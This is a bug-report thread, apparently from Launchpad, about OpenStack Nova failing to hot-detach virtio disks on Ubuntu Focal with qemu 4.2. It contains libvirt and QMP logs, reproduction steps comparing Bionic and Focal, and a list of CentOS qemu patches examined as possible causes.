name="volumes/volume-04dd79b2-3c05-4492-b1d7-7969d24df768"> +30248 Sep 07 19:30:26.209322 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <host name="158.69.70.115" port="6789"/> +30249 Sep 07 19:30:26.209322 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: </source> +30250 Sep 07 19:30:26.209322 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <target dev="vdb" bus="virtio"/> +30251 Sep 07 19:30:26.209322 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <serial>04dd79b2-3c05-4492-b1d7-7969d24df768</serial> +30252 Sep 07 19:30:26.209322 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <address type="pci" domain="0x0000" bus="0x00" slot="0x07" function="0x0"/> +30253 Sep 07 19:30:26.209322 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: </disk> + +30276 Sep 07 19:30:42.028517 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: DEBUG nova.virt.libvirt.guest [-] detach device xml: <disk type="network" device="disk"> +30277 Sep 07 19:30:42.028517 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <driver name="qemu" type="raw" cache="writeback" discard="unmap"/> +30278 Sep 07 19:30:42.028517 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <source protocol="rbd" name="volumes/volume-04dd79b2-3c05-4492-b1d7-7969d24df768"> +30279 Sep 07 19:30:42.028517 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <host name="158.69.70.115" port="6789"/> +30280 Sep 07 19:30:42.028517 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: </source> +30281 Sep 07 19:30:42.028517 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <target dev="vdb" bus="virtio"/> +30282 Sep 07 19:30:42.028517 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <serial>04dd79b2-3c05-4492-b1d7-7969d24df768</serial> +30283 Sep 07 19:30:42.028517 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <address type="pci" domain="0x0000" bus="0x00" slot="0x07" function="0x0"/> +30284 Sep 07 19:30:42.028517 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: </disk> + +30356 Sep 07 19:30:53.232072 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: DEBUG nova.virt.libvirt.guest [-] detach device xml: <disk type="network" device="disk"> +30357 Sep 07 19:30:53.232072 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <driver name="qemu" type="raw" cache="writeback" discard="unmap"/> +30358 Sep 07 19:30:53.232072 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <source protocol="rbd" name="volumes/volume-04dd79b2-3c05-4492-b1d7-7969d24df768"> +30359 Sep 07 19:30:53.232072 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <host name="158.69.70.115" port="6789"/> +30360 Sep 07 19:30:53.232072 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: </source> +30361 Sep 07 19:30:53.232072 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <target dev="vdb" bus="virtio"/> +30362 Sep 07 19:30:53.232072 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <serial>04dd79b2-3c05-4492-b1d7-7969d24df768</serial> +30363 Sep 07 19:30:53.232072 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <address type="pci" domain="0x0000" bus="0x00" slot="0x07" function="0x0"/> +30364 Sep 07 19:30:53.232072 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: </disk> + +30381 Sep 07 19:31:06.239532 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: DEBUG nova.virt.libvirt.guest [-] detach device xml: <disk type="network" device="disk"> +30382 Sep 07 19:31:06.239532 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <driver name="qemu" type="raw" cache="writeback" discard="unmap"/> +30383 Sep 07 19:31:06.239532 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <source protocol="rbd" name="volumes/volume-04dd79b2-3c05-4492-b1d7-7969d24df768"> +30384 Sep 07 19:31:06.239532 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <host name="158.69.70.115" port="6789"/> +30385 Sep 07 19:31:06.239532 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: </source> +30386 Sep 07 19:31:06.239532 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <target dev="vdb" bus="virtio"/> +30387 Sep 07 19:31:06.239532 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <serial>04dd79b2-3c05-4492-b1d7-7969d24df768</serial> +30388 Sep 07 19:31:06.239532 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <address type="pci" domain="0x0000" bus="0x00" slot="0x07" function="0x0"/> +30389 Sep 07 19:31:06.239532 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: </disk> + +30478 Sep 07 19:31:21.369016 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: DEBUG nova.virt.libvirt.guest [-] detach device xml: <disk type="network" device="disk"> +30479 Sep 07 19:31:21.369016 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <driver name="qemu" type="raw" cache="writeback" discard="unmap"/> +30480 Sep 07 19:31:21.369016 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <source protocol="rbd" name="volumes/volume-04dd79b2-3c05-4492-b1d7-7969d24df768"> +30481 Sep 07 19:31:21.369016 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <host name="158.69.70.115" port="6789"/> +30482 Sep 07 19:31:21.369016 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: </source> +30483 Sep 07 19:31:21.369016 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <target dev="vdb" bus="virtio"/> +30484 Sep 07 19:31:21.369016 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <serial>04dd79b2-3c05-4492-b1d7-7969d24df768</serial> +30485 Sep 07 19:31:21.369016 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <address type="pci" domain="0x0000" bus="0x00" slot="0x07" function="0x0"/> +30486 Sep 07 19:31:21.369016 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: </disk> + +30796 Sep 07 19:31:42.590535 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: DEBUG nova.virt.libvirt.guest [-] detach device xml: <disk type="network" device="disk"> +30797 Sep 07 19:31:42.590535 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <driver name="qemu" type="raw" cache="writeback" discard="unmap"/> +30798 Sep 07 19:31:42.590535 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <source protocol="rbd" name="volumes/volume-04dd79b2-3c05-4492-b1d7-7969d24df768"> +30799 Sep 07 19:31:42.590535 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <host name="158.69.70.115" port="6789"/> +30800 Sep 07 19:31:42.590535 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: </source> +30801 Sep 07 19:31:42.590535 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <target dev="vdb" bus="virtio"/> +30802 Sep 07 19:31:42.590535 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <serial>04dd79b2-3c05-4492-b1d7-7969d24df768</serial> +30803 Sep 07 19:31:42.590535 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <address type="pci" domain="0x0000" bus="0x00" slot="0x07" function="0x0"/> +30804 Sep 07 19:31:42.590535 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: </disk> + +31050 Sep 07 19:32:01.613201 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: DEBUG nova.virt.libvirt.guest [-] detach device xml: <disk type="network" device="disk"> +31051 Sep 07 19:32:01.613201 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <driver name="qemu" type="raw" cache="writeback" discard="unmap"/> +31052 Sep 07 19:32:01.613201 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <source protocol="rbd" name="volumes/volume-04dd79b2-3c05-4492-b1d7-7969d24df768"> +31053 Sep 07 19:32:01.613201 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <host name="158.69.70.115" port="6789"/> +31054 Sep 07 19:32:01.613201 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: </source> +31055 Sep 07 19:32:01.613201 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <target dev="vdb" bus="virtio"/> +31056 Sep 07 19:32:01.613201 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <serial>04dd79b2-3c05-4492-b1d7-7969d24df768</serial> +31057 Sep 07 19:32:01.613201 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: <address type="pci" domain="0x0000" bus="0x00" slot="0x07" function="0x0"/> +31058 Sep 07 19:32:01.613201 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: </disk> + +# n-cpu eventually gives up trying to detach the device + +https://storage.gra.cloud.ovh.net/v1/AUTH_dcaab5e32b234d56b626f72581e3644c/zuul_opendev_logs_4c5/746981/5/check/nova-ceph-multistore/4c56def/controller/logs/screen-n-cpu.txt (gzipped) + +31102 Sep 07 19:32:06.850434 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: ERROR oslo.service.loopingcall [-] Dynamic interval looping call 'oslo_service.loopingcall.RetryDecorator.__call__.<locals>._func' failed: nova.exception.DeviceDetachFailed: Device detach failed for vdb: Unable t +31103 Sep 07 19:32:06.850434 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: ERROR oslo.service.loopingcall Traceback (most recent call last): +31104 Sep 07 19:32:06.850434 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: ERROR oslo.service.loopingcall File "/usr/local/lib/python3.8/dist-packages/oslo_service/loopingcall.py", line 150, in _run_loop +31105 Sep 07 19:32:06.850434 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: ERROR oslo.service.loopingcall result = func(*self.args, **self.kw) +31106 Sep 07 19:32:06.850434 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: ERROR oslo.service.loopingcall File "/usr/local/lib/python3.8/dist-packages/oslo_service/loopingcall.py", line 428, in _func +31107 Sep 07 19:32:06.850434 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: ERROR oslo.service.loopingcall return self._sleep_time +31108 Sep 07 19:32:06.850434 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: ERROR oslo.service.loopingcall File "/usr/local/lib/python3.8/dist-packages/oslo_utils/excutils.py", line 220, in __exit__ +31109 Sep 07 19:32:06.850434 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: ERROR oslo.service.loopingcall self.force_reraise() +31110 Sep 07 19:32:06.850434 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: ERROR oslo.service.loopingcall File "/usr/local/lib/python3.8/dist-packages/oslo_utils/excutils.py", line 196, in force_reraise +31111 Sep 07 19:32:06.850434 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: ERROR oslo.service.loopingcall six.reraise(self.type_, self.value, self.tb) +31112 Sep 07 19:32:06.850434 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: ERROR oslo.service.loopingcall File "/usr/local/lib/python3.8/dist-packages/six.py", line 703, in reraise +31113 Sep 07 19:32:06.850434 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: ERROR oslo.service.loopingcall raise value +31114 Sep 07 19:32:06.850434 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: ERROR oslo.service.loopingcall File "/usr/local/lib/python3.8/dist-packages/oslo_service/loopingcall.py", line 407, in _func +31115 Sep 07 19:32:06.850434 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: ERROR oslo.service.loopingcall result = f(*args, **kwargs) +31116 Sep 07 19:32:06.850434 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: ERROR oslo.service.loopingcall File "/opt/stack/nova/nova/virt/libvirt/guest.py", line 489, in _do_wait_and_retry_detach +31117 Sep 07 19:32:06.850434 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: ERROR oslo.service.loopingcall raise exception.DeviceDetachFailed( +31118 Sep 07 19:32:06.850434 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: ERROR oslo.service.loopingcall nova.exception.DeviceDetachFailed: Device detach failed for vdb: Unable to detach the device from the live config. +31119 Sep 07 19:32:06.850434 ubuntu-focal-ovh-bhs1-0019682147 nova-compute[92697]: ERROR oslo.service.loopingcall + +Just to expand a little more on the "second DEVICE_DELETED" event: + +Apparently this is an "oddity" of VirtIO devices where we see _two_ DEVICE_DELETED events upon hot-unplugging a device. So, ideally, we should see the following two events, but we're only seeing the first one: + +(1) "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}} + +(2) "event": "DEVICE_DELETED", "data": {"device": "virtio-disk1", "path": "/machine/peripheral/virtio-disk1"}} + + + +Attaching the QMP requests and responses filtered out from the giant libvirtd.log. + +This file was generated using: + + $> grep -Ei '(QEMU_MONITOR_SEND_MSG|QEMU_MONITOR_RECV_)' libvirtd.log |& + tee QMP_requests_and_replies_from_libvirtd.log + +(And then I `gzip`ed it; compressed - 3.1MB; uncompressed -39MB) + +Note that there are many VMs running, so it is important to isolate logs for just one of them, by matching on mon=0xXXXXXXXX. + +For example considering this + +$ grep 0x7f021c0b9c70 libvirtd.log | grep -E 'QEMU_MONITOR_(RECV_REPLY|RECV_EVENT|SEND_MSG)' + +We can see the "device_del" request: + +2020-09-03 19:53:47.114+0000: 65331: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f021c0b9c70 msg={"execute":"device_del","arguments":{"id":"virtio-disk1"},"id":"libvirt-367"} +2020-09-03 19:53:47.116+0000: 65328: info : qemuMonitorJSONIOProcessLine:239 : QEMU_MONITOR_RECV_REPLY: mon=0x7f021c0b9c70 reply={"return": {}, "id": "libvirt-367"} + + +and then the first DEVICE_DELETED event: + +2020-09-03 19:53:52.539+0000: 65328: info : qemuMonitorJSONIOProcessLine:234 : QEMU_MONITOR_RECV_EVENT: mon=0x7f021c0b9c70 event={"timestamp": {"seconds": 1599162832, "microseconds": 539721}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk1/virtio-backend"}} + + +The second, important, DEVICE_DELETED event never arrives. OpenStack hopelessly just retries device_del forever more. + +Note in normal case the first DEVICE_DELETED event (for "/machine/peripheral/virtio-disk1/virtio-backend") gets emitted from VCPU thread context. The second DEVICE_DELETED event (for "/machine/peripheral/virtio-disk1/") is emitted from the RCU thread, and that one is missing here. THe second one is the event that libvirt needs in order to determine that unplug is complete. + + +hum i was hoping to indicate this affect focal in some what but not sure how to do that but this issue +happens with the ubunutu 20.04 version of qemu 4.2 +it does not seam to happen with the centos 8 build of the same qemu so i dont know if there is a delta in packages or if its just a case that in the openstack ci we have more testing based on ubuntu 20.04 and its appearing there more as a result. + + +Hi, +interesting bug report - thanks lee, Kashyap and Sean - as well as Danil for taking a look already. + +If this would always fail no unplugs would work ever which I knew can't be right as I test that. So we need to find what is different... + + +@Openstack people - is that reliably triggering at the very first hot-detach for you or more like "happening in one of a million detaches triggered by the CI"? + + +First I simplified the case from "massive openstack CI" to just a few commands and small XMLs... +So I tried to cut ceph out of the equation here and compared hot remove between Bionic and Focal qemu/libvirt when removing a local image file. + +$ qemu-img create -f qcow2 /var/lib/uvtool/libvirt/images/testdisk.qcow 20m +Disk: + <disk type='file' device='disk'> + <driver name='qemu' type='qcow2'/> + <source file='/var/lib/uvtool/libvirt/images/testdisk.qcow'/> + <target dev='vdc' bus='virtio'/> + </disk> + +The systems have just this guest each and the log debug config is like: + /etc/libvirt/libvirtd.conf: + > log_filters="3:qemu 3:libvirt 4:object 2:json 4:event 3:util" + > log_outputs="2:file:/var/log/libvirtd.log" + $ rm /var/log/libvirtd.log + $ systemctl restart libvirtd + +Detach via: + $ virsh detach-disk f-on-b vdc --live + +I compared the monitor streams in those two cases but they both deliver DEVICE_DELETED for the +/machine/peripheral/virtio-disk2/virtio-backend as well as /machine/peripheral/virtio-disk2. + + +@Jamespage could you get me a system with at least one auxiliary ceph disk that I can attach/detach to check if this might be in any way ceph specific? + + +Details in case we need them for comparison later on ...: + +## Bionic ## + +libvirt checks devices before removal: + +2020-09-21 11:00:19.287+0000: 5755: info : qemuMonitorSend:1076 : QEMU_MONITOR_SEND_MSG: mon=0x7fdf94001430 msg={"execute":"qom-list","arguments":{"path":"/machine/peripheral"},"id":"libvirt-12"} +2020-09-21 11:00:19.288+0000: 5686: info : qemuMonitorJSONIOProcessLine:213 : QEMU_MONITOR_RECV_REPLY: mon=0x7fdf94001430 reply={"return": [{"name": "virtio-disk2", "type": "child<virtio-blk-pci>"}, {"name": "virtio-disk1", "type": "child<virtio-blk-pci>"}, {"name": "virtio-disk0", "type": "child<virtio-blk-pci>"}, {"name": "video0", "type": "child<cirrus-vga>"}, {"name": "serial0", "type": "child<isa-serial>"}, {"name": "balloon0", "type": "child<virtio-balloon-pci>"}, {"name": "net0", "type": "child<virtio-net-pci>"}, {"name": "usb", "type": "child<piix3-usb-uhci>"}, {"name": "type", "type": "string"}], "id": "libvirt-12"} + +Then send removal command + +2020-09-21 11:00:48.672+0000: 5691: info : qemuMonitorSend:1076 : QEMU_MONITOR_SEND_MSG: mon=0x7fdf94001430 msg={"execute":"device_del","arguments":{"id":"virtio-disk2"},"id":"libvirt-13"} +2020-09-21 11:00:48.673+0000: 5686: info : qemuMonitorJSONIOProcessLine:213 : QEMU_MONITOR_RECV_REPLY: mon=0x7fdf94001430 reply={"return": {}, "id": "libvirt-13"} +020-09-21 11:00:48.721+0000: 5686: info : qemuMonitorJSONIOProcessLine:208 : QEMU_MONITOR_RECV_EVENT: mon=0x7fdf94001430 event={"timestamp": {"seconds": 1600686048, "microseconds": 720908}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk2/virtio-backend"}} +2020-09-21 11:00:48.723+0000: 5686: info : qemuMonitorJSONIOProcessLine:208 : QEMU_MONITOR_RECV_EVENT: mon=0x7fdf94001430 event={"timestamp": {"seconds": 1600686048, "microseconds": 723091}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk2", "path": "/machine/peripheral/virtio-disk2"}} + +^^ both DEVICE_DELETED occur in response to the "device_del". + +vv Now also remove the device, but that already happened implicitly + +2020-09-21 11:00:48.723+0000: 5691: info : qemuMonitorSend:1076 : QEMU_MONITOR_SEND_MSG: mon=0x7fdf94001430 msg={"execute":"human-monitor-command","arguments":{"command-line":"drive_del drive-virtio-disk2"},"id":"libvirt-14"} +2020-09-21 11:00:48.724+0000: 5686: info : qemuMonitorJSONIOProcessLine:213 : QEMU_MONITOR_RECV_REPLY: mon=0x7fdf94001430 reply={"return": "Device 'drive-virtio-disk2' not found\r\n", "id": "libvirt-14"} + +In the follow up query virtio-disk2 is removed + +2020-09-21 11:00:48.875+0000: 5691: info : qemuMonitorSend:1076 : QEMU_MONITOR_SEND_MSG: mon=0x7fdf94001430 msg={"execute":"qom-list","arguments":{"path":"/machine/peripheral"},"id":"libvirt-15"} +2020-09-21 11:00:48.876+0000: 5686: info : qemuMonitorJSONIOProcessLine:213 : QEMU_MONITOR_RECV_REPLY: mon=0x7fdf94001430 reply={"return": [{"name": "virtio-disk1", "type": "child<virtio-blk-pci>"}, {"name": "virtio-disk0", "type": "child<virtio-blk-pci>"}, {"name": "video0", "type": "child<cirrus-vga>"}, {"name": "serial0", "type": "child<isa-serial>"}, {"name": "balloon0", "type": "child<virtio-balloon-pci>"}, {"name": "net0", "type": "child<virtio-net-pci>"}, {"name": "usb", "type": "child<piix3-usb-uhci>"}, {"name": "type", "type": "string"}], "id": "libvirt-15"} + + + +## Focal ## + +libvirt checks devices before removal: + +2020-09-21 11:00:20.856+0000: 6395: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f463800b3e0 msg={"execute":"qom-list","arguments":{"path":"/machine/peripheral"},"id":"libvirt-12"} +2020-09-21 11:00:20.857+0000: 6319: info : qemuMonitorJSONIOProcessLine:239 : QEMU_MONITOR_RECV_REPLY: mon=0x7f463800b3e0 reply={"return": [{"name": "type", "type": "string"}, {"name": "pci.7", "type": "child<pcie-root-port>"}, {"name": "pci.4", "type": "child<pcie-root-port>"}, {"name": "serial0", "type": "child<isa-serial>"}, {"name": "pci.1", "type": "child<pcie-root-port>"}, {"name": "virtio-disk1", "type": "child<virtio-blk-pci>"}, {"name": "video0", "type": "child<qxl-vga>"}, {"name": "balloon0", "type": "child<virtio-balloon-pci>"}, {"name": "pci.6", "type": "child<pcie-root-port>"}, {"name": "usb", "type": "child<qemu-xhci>"}, {"name": "pci.3", "type": "child<pcie-root-port>"}, {"name": "virtio-disk0", "type": "child<virtio-blk-pci>"}, {"name": "pci.5", "type": "child<pcie-root-port>"}, {"name": "channel0", "type": "child<virtserialport>"}, {"name": "pci.2", "type": "child<pcie-root-port>"}, {"name": "virtio-disk2", "type": "child<virtio-blk-pci>"}, {"name": "net0", "type": "child<virtio-net-pci>"}, {"name": "virtio-serial0", "type": "child<virtio-serial-pci>"}], "id": "libvirt-12"} +2020-09-21 11:00:46.509+0000: 6319: info : qemuMonitorJSONIOProcessLine:234 : QEMU_MONITOR_RECV_EVENT: mon=0x7f463800b3e0 event={"timestamp": {"seconds": 1600686046, "microseconds": 508981}, "event": "RTC_CHANGE", "data": {"offset": 1}} + +# send device_del + +2020-09-21 11:00:47.928+0000: 6323: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f463800b3e0 msg={"execute":"device_del","arguments":{"id":"virtio-disk2"},"id":"libvirt-13"} +# list +2020-09-21 11:00:47.929+0000: 6319: info : qemuMonitorJSONIOProcessLine:239 : QEMU_MONITOR_RECV_REPLY: mon=0x7f463800b3e0 reply={"return": {}, "id": "libvirt-13"} + +# check devices again right after (disk is still there) + +2020-09-21 11:00:52.929+0000: 6323: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f463800b3e0 msg={"execute":"qom-list","arguments":{"path":"/machine/peripheral"},"id":"libvirt-14"} +2020-09-21 11:00:52.930+0000: 6319: info : qemuMonitorJSONIOProcessLine:239 : QEMU_MONITOR_RECV_REPLY: mon=0x7f463800b3e0 reply={"return": [{"name": "type", "type": "string"}, {"name": "pci.7", "type": "child<pcie-root-port>"}, {"name": "pci.4", "type": "child<pcie-root-port>"}, {"name": "serial0", "type": "child<isa-serial>"}, {"name": "pci.1", "type": "child<pcie-root-port>"}, {"name": "virtio-disk1", "type": "child<virtio-blk-pci>"}, {"name": "video0", "type": "child<qxl-vga>"}, {"name": "balloon0", "type": "child<virtio-balloon-pci>"}, {"name": "pci.6", "type": "child<pcie-root-port>"}, {"name": "usb", "type": "child<qemu-xhci>"}, {"name": "pci.3", "type": "child<pcie-root-port>"}, {"name": "virtio-disk0", "type": "child<virtio-blk-pci>"}, {"name": "pci.5", "type": "child<pcie-root-port>"}, {"name": "channel0", "type": "child<virtserialport>"}, {"name": "pci.2", "type": "child<pcie-root-port>"}, {"name": "virtio-disk2", "type": "child<virtio-blk-pci>"}, {"name": "net0", "type": "child<virtio-net-pci>"}, {"name": "virtio-serial0", "type": "child<virtio-serial-pci>"}], "id": "libvirt-14"} + +A bit later both DEVICE_DELETED show up: + +2020-09-21 11:00:54.118+0000: 6319: info : qemuMonitorJSONIOProcessLine:234 : QEMU_MONITOR_RECV_EVENT: mon=0x7f463800b3e0 event={"timestamp": {"seconds": 1600686054, "microseconds": 117896}, "event": "DEVICE_DELETED", "data": {"path": "/machine/peripheral/virtio-disk2/virtio-backend"}} +2020-09-21 11:00:54.120+0000: 6319: info : qemuMonitorJSONIOProcessLine:234 : QEMU_MONITOR_RECV_EVENT: mon=0x7f463800b3e0 event={"timestamp": {"seconds": 1600686054, "microseconds": 120016}, "event": "DEVICE_DELETED", "data": {"device": "virtio-disk2", "path": "/machine/peripheral/virtio-disk2"}} + + +Some follow on cleanup (what was the HMP command on bionic) + +2020-09-21 11:00:54.122+0000: 6409: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f463800b3e0 msg={"execute":"blockdev-del","arguments":{"node-name":"libvirt-1-format"},"id":"libvirt-15"} +2020-09-21 11:00:54.126+0000: 6319: info : qemuMonitorJSONIOProcessLine:239 : QEMU_MONITOR_RECV_REPLY: mon=0x7f463800b3e0 reply={"return": {}, "id": "libvirt-15"} +2020-09-21 11:00:54.126+0000: 6409: info : qemuMonitorSend:993 : QEMU_MONITOR_SEND_MSG: mon=0x7f463800b3e0 msg={"execute":"blockdev-del","arguments":{"node-name":"libvirt-1-storage"},"id":"libvirt-16"} +2020-09-21 11:00:54.129+0000: 6319: info : qemuMonitorJSONIOProcessLine:239 : QEMU_MONITOR_RECV_REPLY: mon=0x7f463800b3e0 reply={"return": {}, "id": "libvirt-16"} + +As outlined before the time from device_del to the DEVICE_DELETED is indeed "a bit longer" in Focal (from ~0.1s to ~6s), but other than that I couldn't find anything else yet. + +We were wondering due to [1] in a related bug if it might be dependent to (over)load. +I was consuming Disk and CPU in a controlled fashion (stress-ng --cpu 8 --io 4 --hdd 4 1x in the container the load is in and 1x on the Host). On that I was running attach/detach loops but in all of a two hundred retries it was "->device_del <-DEVICE_DELETED <-DEVICE_DELETED ->blockdev-del ->blockdev-del". + +James Page was doing tests (thanks) with real Openstack and Ceph but couldn't - so far -trigger the issue either. He will likely later update the bug as well, but is currently trying to ramp up concurrency to more likely hit the issue. + +https://bugs.launchpad.net/nova/+bug/1882521/comments/8 + +I'm not able to reproduce at this point in time - as the version of libvirt/qemu is the same I deployed an Ussuri cloud on focal and ran block device add/remove with concurrency for several hundred iterations but I was not able to trigger a detach failure. + +Thanks James, but now I'm unsure where to go from here as it isn't reproducible with many tries at different scales that James and I did. + +@Sean/Lee +Since you wondered if it might be due to Ubuntu Delta on top of 4.2 - there are two things we could compare Ubuntu's qemu to then: +1. qemu 4.2 as released by upstream +2. qemu 4.2 as build in centos (they have some delta as well) +Not sure I can provide you #2 easily and #1 will always need a bit of delta to build&integrate correctly. All of that would be doable still, but in general if I'd provide you PPA builds could you try those in your environment to !reliably! trigger the issue allowing us to play bisect-ping-pong? The word "reliable" is important here as we'd need to sort out builds/patches by a reliable yes/no on each step. + +@Sean/Lee +- which "the centos 8 build of the same qemu" version is that exactly? I might take a look at comparing the patches applied. We are at 4.2.1 already, the latest I found there was 4.2.0-29.el8.3.x86_64.rpm which already is the advanced-virt version (otherwise 2.12 based). + +@Sean/Lee +All of the following suggested approaches depend on the question if you can test this reliably with different qemu PPA builds: +- qemu 4.2 (as upstream) vs usual Ubuntu build -> find the offending patch in our delta +- test Ubuntu 20.10 which has qemu 5.0 and libvirt 6.6 -> if fixed there find by which change +- qemu 4.2 Ubuntu vs qemu 4.2 as in CentOS (but build for Ubuntu) -> if the latter works better then let us find by which (set of) patches. + + +I was checking the Delta on Centos8 advanced-virt qemu 4.2 as that was reported +to (maybe) work better. I was comparing which patches are applied, that are no +on Ubuntu and which of those might be related. +Among several individual fixes for some issues the biggest patch sets +are feature backports for Enhanced LUKS/backup/snapshot handling, +multifd migration/cancel, block-mirror, HMAT changes, virtiofs, qemu-img zero +write, arm time handling and some related build time self tests. +Due to the nature of these changes some affect the block handling by affecting block/job/hotplug. But they might only do so by accident, nothing is clearly for addressing the issue that +was reported. And even of the list below most seem unrelated - so as Sean assumed maybe it just isn't exercised on centos enough to be seen there? + +eca0f3524a4eb57d03a56b0cbcef5527a0981ce4 backup: don't acquire aio_context in backup_clean +58226634c4b02af7b10862f7fbd3610a344bfb7f backup: Improve error for bdrv_getlength() failure +958a04bd32af18d9a207bcc78046e56a202aebc2 backup: Make sure that source and target size match +7b8e4857426f2e2de2441749996c6161b550bada block: Add flags to bdrv(_co)_truncate() +92b92799dc8662b6f71809100a4aabc1ae408ebb block: Add flags to BlockDriver.bdrv_co_truncate() +087ab8e775f48766068e65de1bc99d03b40d1670 block: always fill entire LUKS header space with zeros +8c6242b6f383e43fd11d2c50f8bcdd2bba1100fc block-backend: Add flags to blk_truncate() +564806c529d4e0acad209b1e5b864a8886092f1f block-backend: Reorder flush/pdiscard function definitions +0abf2581717a19d9749d5c2ff8acd0ac203452c2 block/backup-top: Don't acquire context while dropping top +1de6b45fb5c1489b450df7d1a4c692bba9678ce6 block: bdrv_reopen() with backing file in different AioContext +e1d7f8bb1ec0c6911dcea81641ce6139dbded02d block.c: adding bdrv_co_delete_file +69032253c33ae1774233c63cedf36d32242a85fc block/curl: HTTP header field names are case insensitive +7788a319399f17476ff1dd43164c869e320820a2 block/curl: HTTP header fields allow whitespace around values +91005a495e228ebd7e5e173cd18f952450eef82d blockdev: Acquire AioContext on dirty bitmap functions +471ded690e19689018535e3f48480507ed073e22 blockdev: fix coding style issues in drive_backup_prepare +3ea67e08832775a28d0bd2795f01bc77e7ea1512 blockdev: honor bdrv_try_set_aio_context() context requirements +c6996cf9a6c759c29919642be9a73ac64b38301b blockdev: Promote several bitmap functions to non-static +377410f6fb4f6b0d26d4a028c20766fae05de17e blockdev: Return bs to the proper context on snapshot abort +bb4e58c6137e80129b955789dd4b66c1504f20dc blockdev: Split off basic bitmap operations for qemu-img 